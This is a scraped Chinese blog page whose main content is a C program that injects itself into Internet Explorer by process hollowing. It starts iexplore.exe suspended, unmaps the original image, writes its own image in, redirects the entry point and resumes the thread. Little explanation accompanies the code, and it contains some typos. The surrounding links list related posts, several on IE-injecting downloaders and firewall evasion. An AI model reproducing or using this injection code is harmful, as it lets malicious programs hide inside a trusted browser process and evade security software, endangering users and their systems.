插入自己到IE进程

使用c#将aj-report桌面化:1.winform嵌入浏览器 说到底,aj-report是个工具,我想大多数人还是想快速使用它来创建一个可以展示的工具。通过之前的章节,你应该可以制作自己的报表页面了,下面我们来看看怎么把aj-report包装成一个桌面能够运行的软件。 阅读详情

把自己插入到IE进程中,用TCB启动自己,随便写的垃圾代码,参考了老V的代码,高手莫笑

#include <stdio.h>
#include <windows.h>

#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
HANDLE ProcessHandle,
PVOID BaseAddress
);

typedef struct _ChildProcessInfo
{
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS;

char szIePath[MAX_PATH];

BOOL FindIePath(char *IePath,int *dwBuffSize);
BOOL InjectProcess(void);
DWORD GetSelfImageSize(HMODULE hModule);

BOOL CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
);


int main(void)
{
if (InjectProcess() )
{
printf("This is my a test code,made by shadow3./r/n");
}
else
{
MessageBox(NULL,"进程插入完成","Text",MB_OK);
}

return 0;
}

BOOL FindIePath(char *IePath,int *dwBuffSize)
{
char szSystemDir[MAX_PATH];

GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] = '/0'
lstrcat(szSystemDir,"//Program Files//Internet Explorer//iexplore.exe");

lstrcpy(IePath, szSystemDir);
return TRUE;
}


BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;

STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory(szModulePath,MAX_PATH);
ZeroMemory(szIePath,MAX_PATH);

GetModuleFileName(NULL,szModulePath,MAX_PATH);
FindIePath(szIePath,NULL);

if ( lstrcmpiA(szIePath,szModulePath) == 0 )
{
return FALSE;
}

hModule = GetModuleHandle(NULL);
if ( hModule == NULL )
{
return FALSE;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);

dwImageSize = GetSelfImageSize(hModule);

if ( CreateInjectProcess(&pi, &ThreadCxt ,&stChildProcess) )
{
printf("CHILD PID: [%d]/r/n",pi.dwProcessId);


if ( ZwUnmapViewOfSection(
pi.hProcess,
(LPVOID)stChildProcess.dwBaseAddress
) == 0 )
{
lpVirtual = VirtualAllocEx(
pi.hProcess,
(LPVOID)hModule,
dwImageSize,
MEM_RESERVE │ MEM_COMMIT, PAGE_EXECUTE_READWRITE
);

if ( lpVirtual )
{
printf("Unmapped and Allocated Mem Success./r/n");
}

}
else
{
printf("ZwUnmapViewOfSection() failed./r/n");
return TRUE;
}

if ( lpVirtual )
{
PPEB = (DWORD *)ThreadCxt.Ebx;

// 重写装载地址

WriteProcessMemory(
pi.hProcess,
&PPEB[2],
&lpVirtual,
sizeof(DWORD),
&dwWrite
);


if ( WriteProcessMemory(
pi.hProcess,
lpVirtual,
hModule,
dwImageSize,
&dwWrite) )
{
printf("image inject into process success./r/n");

ThreadCxt.ContextFlags = CONTEXT_FULL;
if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )
{
ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}
else
{
ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}

#ifdef DEBUG
printf("EAX = [0x%08x]/r/n",ThreadCxt.Eax);
printf("EBX = [0x%08x]/r/n",ThreadCxt.Ebx);
printf("ECX = [0x%08x]/r/n",ThreadCxt.Ecx);
printf("EDX = [0x%08x]/r/n",ThreadCxt.Edx);
printf("EIP = [0x%08x]/r/n",ThreadCxt.Eip);
#endif

SetThreadContext(pi.hThread, &ThreadCxt);
ResumeThread(pi.hThread);

}
else
{
printf("WirteMemory Failed,code:%d/r/n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}

}
else
{
printf("VirtualMemory Failed,code:%d/r/n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}
}

return TRUE;
}

DWORD GetSelfImageSize(HMODULE hModule)
{
DWORD dwImageSize;

_asm
{
mov ecx,0x30
mov eax, fs:[ecx]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x0c]
add esi,0x20
lodsd
mov dwImageSize,eax

}

return dwImageSize;
}

BOOL CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
)

{
STARTUPINFO si = {0};

DWORD *PPEB;
DWORD read;

// 使用挂起模式启动ie

if( CreateProcess(
NULL,
szIePath,
NULL,
NULL,
0,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
pi
) )
{
pThreadCxt->ContextFlags = CONTEXT_FULL;
GetThreadContext(pi->hThread, pThreadCxt);

PPEB = (DWORD *)pThreadCxt->Ebx;

// 得到ie的装载基地址
ReadProcessMemory(
pi->hProcess,
&PPEB[2],
(LPVOID)&(pChildProcess->dwBaseAddress),
sizeof(DWORD),
&read
);

return TRUE ;

}

return FALSE;
}

by shadow3

建行tendyronU盾 插入电脑突然不能自动跳转IE跳出登录密码框 联想E14笔记本Windows 10 专业版 64位建行天地融网盾IE浏览器10。 阅读详情

相关推荐

HTTP抓包工具(exe、可嵌入IE)

HTTP抓包工具 这是一个在Window驱动层上的拦截程序,是Http协议分析程序HttpAnaly的模块   这个驱动后面的字符串标示的是驱动的版本

ActiveX控件制作与发布,如何将您的C++程序嵌入到浏览器中

本文演示如何将Qt应用程序打包嵌入IE浏览器并发布。 1. 例子Qt程序: 新建项目,选择Qt Library类型,类名为ClassDemo。 新建QtGui类(继承QWidge)类名ClassGui,在ClassGui的ui中添加QLabel或者QPushButton。 在ClassDemo中添加ClassGui类型的成员变量指针,添加一个public成员函数GetWidget,

皓月如我的专栏 5649

量化风控核心:信用评分卡模型的设计与迭代全流程

◦ 动态策略适配:根据评分卡结果动态调整风控流程——高分用户(>750分)秒级放款,中低分用户(600-700分)触发补充资料提交,低分用户(<600分)直接拒绝。◦ 特征有效性监控:每月计算特征IV值,对IV<0.1的低效特征(如“用户星座”)进行淘汰,同时引入新特征(如电商消费数据)。某城商行通过增量学习,评分卡PSI值长期稳定在0.1以下。◦ 数据筛选:整合征信数据(逾期记录、查询次数)、行为数据(消费频次、还款习惯),某银行评分卡纳入150+维度特征,覆盖用户偿债能力、意愿、稳定性等维度;

2501_91651383的博客 1483

windows下浏览器嵌入程序

 采用wxpython中的iewin,即可将IE浏览器嵌入到我们的桌面应用程序中,这样的处理方案可以实现对浏览器功能的一些限制,应用到一些限制网络访问和有针对性的网络访问上,应该还是不错的,o(∩_∩)o 。

pythoner的专栏 1252

用OpenIPC复活你的旧摄像头:手把手教你给君正T31芯片设备刷开源固件

本文详细介绍了如何使用OpenIPC项目为君正T31芯片的旧摄像头刷入开源固件,解锁更多功能并延长设备寿命。从硬件识别、风险控制到详细刷机步骤和后期配置,手把手教你将闲置摄像头改造为智能监控设备,实现隐私可控、功能扩展等优势。

weixin_30790841的博客 769

暴力破解pdf文档密码

相信小伙伴们都遇到这种情况;你收到了一些标题很吸引人的pdf文档 或者是重要数据泄露 学习资料总结,再或者是某机构的押题密卷,打开pdf却提示你要输入密码 因为不知道密码 只能弃罢。我就遇到过这种情况 网友发来了标题为某天一的押题密卷 ,我也想看看这个卷子的题怎么样,因为被设置了密码 我尝试用6到10位的纯数字组合来暴力破解这个pdf,结果三 四个小时都没找到正确的密码。有些网友为破解这个密码 请某宝某多来破解 也都没有破解成功。

shelter1234567的博客 1万+

【转】HTML5浏览器嵌入窗口程序解决方案

浏览器嵌入窗口程序一直以来就是WEB应用程序的首选方案,这种方案只需要实现一个主窗口,并提供一些接口供脚本调用,内部的界面和逻辑处理全部用html,css,javascript去实现。我最早看到的相关应用是四五年前的新浪聊天室。我本人在后来的一些项目中也多次用到这种基于IE内核的实现方式。 随着HTML5的强大,嵌入浏览器方式比嵌入Shockwave Flash的方式更应该作为首选方案。本文介绍

lxxmwe的博客 3183

EPS+ArcGIS+CASS三剑客:等高线裁剪的完整工作流与避坑指南

本文详细介绍了EPS、ArcGIS和CASS三款软件在等高线裁剪中的协同工作流程与避坑指南。通过发挥各软件优势,解决数据完整性、拓扑准确性和流程可靠性等核心挑战,提升40%以上的工作效率。特别适合大型测绘项目中复杂地形的处理,涵盖数据准备、核心处理到后期优化的全流程。

weixin_30352645的博客 618

c++窗口嵌入第三方进程窗口

现在的大型软件启动之后,很可能存在多个进程。如浏览器,每打开一个新的页面,就会启动一个新的进程。为什么会使用多进程,而不是全部使用多线程呢?因为多进程,可以做到完全的隔离,这样的好处是:如果一个页面卡死了,不会干扰到其他页面;在代码层,也少了多页面之间线程变量安全考虑的顾忌了,不用考虑同步异步等操作。 我们在MainUI中嵌入ThirdUI窗口,主要有以下步骤: 1. 打开第三方进程窗口 主要通过CreateProcess函数来打开第三方进程,并获取进程ID。 HWND CNestWndDlg::Open

飞鹤的程序员人生 4702

在Qt中集成VTK和PCL:实现数据可视化的完整指南

在现代软件开发中,数据可视化至关重要。将VTK(Visualization Toolkit)和PCL(Point Cloud Library)集成到Qt环境里,能为开发者提供强大的可视化解决方案。本文将深入讲解如何在Qt中读取PCL文件,展示VTK模型和PCL数据,适合想要在Qt项目中实现数据可视化的开发者。

轩宇的博客 917

论文阅读-Whisper语音识别(OpenAI)

Whisper 是一个自动语音识别(ASR,Automatic Speech Recognition)系统,OpenAI 通过从网络上收集了 68 万小时的多语言,其中11万小时覆盖96 种语言,12万小时的语言标号为英语,用多任务(multitask)监督数据对 Whisper 进行了训练。

一位不是很硕的鉴伪方向硕士 6366

把自己插入到IE进程中

把自己插入到IE进程中,用TCB启动自己,随便写的垃圾代码,参考了老V的代码,高手莫笑 #include #include #pragma comment(lib,"ntdll.lib") typedef long NTSTATUS; NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection( HANDLE ProcessHandle, PVOID BaseAd

天蓝的专栏 995

TextView部分文字可以被点击的效果。TextView拼接图片,图片可以被点击

今有一需求,就是列表标题后拼接图标,点击图标跳转一个web页; 这里简单做下笔记,以供需要的人参考: //设置部分文字点击事件 ClickableSpan clickableSpan = new ClickableSpan() { @Override public void onClick(View widget) { Toast.makeText(conte...

LXFX1108的专栏 692

把自身插入到IE进程里的代码

#include #include #pragma comment(lib,"ntdll.lib") typedef long NTSTATUS; NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection(       HANDLE ProcessHandle,       PVOID BaseAddress       ); typede

ccx_john的专栏 755

LPDDR6来了!带你一文看懂它和LPDDR5/5X的差距 + 技术演进逻辑全解析

🧠从速率到架构,从总线宽度到协议设计,LPDDR6 每一个改动都不是拍脑袋做的,它针对的是AI / HPC / 云计算 / 下一代笔记本平台的真实需求。作为工程师的我们,不仅要“用得上”,更要“测得准”,因为没有测试验证,就没有量产落地!🎯LPDDR6不是未来,而是现在进行时!

weixin_43199439的博客 2173

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

插入IE进程的下载者源代码

/*"mini_downloader"code bykardinal p.s.tcompile by vc++ 6.0can not run under win98;*/#include #pragma comment(lib,"user32.lib")#pragma comment(lib,"kernel32.lib")//#pragma comment(linker, "/OPT:NOWIN9

狗 1323

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

netbios.sys反复查杀搞不定,浏览器弹出www.ie7.com.cn的解决办法

一、中毒现象:只要打开ie浏览器,就会弹出www.ie7.com.cn。且使用360安全卫士反复查杀无法搞定。 二、简要技术分析(珠海病毒分析组提供)病毒替换系统的netbios.sys,netbios.sys是一个与网络协议有关的系统文件。 (1)InlineHook了IoCreateFile,即在该函数的入口加入E9(JMP),那么每当系统调用IoCreateFile的时候都会跳到病毒的驱...

weixin_34214500的博客 112

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

使用Visual Studio.net调试javascript最方便的方法

好久不上来写东西了,前一阵子发现一个使用VS.net调试javascript的简便方法,比起以前附加IE进程的做法方便多了,做法如下:首先在IE选项-》高级,将禁止脚本调试去掉。然后在需要调试的页面的脚本中加上debugger; 然后运行这个页面,就会在这里停下来,下一步怎么做大家应该很熟悉了吧?例如:function BtnSubmit_Click(){ var aaa; aaa='...

weixin_30593443的博客 223

有关五种方法逃避防火墙控制系统的研究

随着***,后门的不停发展,防火墙本身也在不断地发展,这是一个矛和盾和关系,知道如何逃过防火墙对于控制一台系统是有很重大的意义的。 由于防火墙的发展,时至今天,很多防火墙都是以驱动形式加载的,核心部分是在驱动那里,保留一个界面给用户去设置,这个界面程序同时充当了桥梁作用,传统的杀防火墙进程以达到能控制到系统的方法已经是失效的了,而且这也不是一个好的方法(想想管理员发现防火...

weixin_34292924的博客 179

关于Trojan.DL.Win32.Autorun类病毒的杀毒操作注意事项

昨天,剑盟管理员“悠悠我心”扔了个砖头:http://bbs.janmeng.com/thread-650905-1-1.html。俺接招一次。实机运行了一下那个样本。那个014.exe是近期流行的一个木马群的主体。中毒后,系统中的病毒文件较多。一旦中了,杀毒软件难以处理干净。原因在于那堆病毒DLL动态插入系统核心进程与用户运行的所有应用程序进程。用SRENG扫日志,配合使用XDELBOX,删除日...

weixin_34240520的博客 217

usb口拒绝访问_插u盘拒绝访问怎么办_win7u盘插电脑上显示拒绝访问的解决方法...

2014-07-02 09:21:12据部分win7系统用户反映,当在电脑USB接口插入U盘时被拒绝访问,双击即出现“位置不可用,无法访问,拒绝访问”。将u盘插入别的电脑上就可以访问。针对这种情况我们该如何解决!2017-04-11 11:36:49u盘是我们用来存储数据的重要工具之一,大家经常用u盘传输和储存文件。大家只要将u盘插入win7电脑usb接口,我们可以读取设备中的信息。但有时win7...

weixin_39947016的博客 2055

驱动锁主页

思路:处理进程预加载回调,如果是指定的浏览器进程 附加它,然后通过EPROCESS 获取PEB 找出parameter的命令行参数 给它加上指定的网址就可以了.

qq_41490873的博客 532
上一篇: Internet蠕虫资源站点
下一篇: Delphi下构建无导入表程序-使用:hash获取API,k32Base等
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值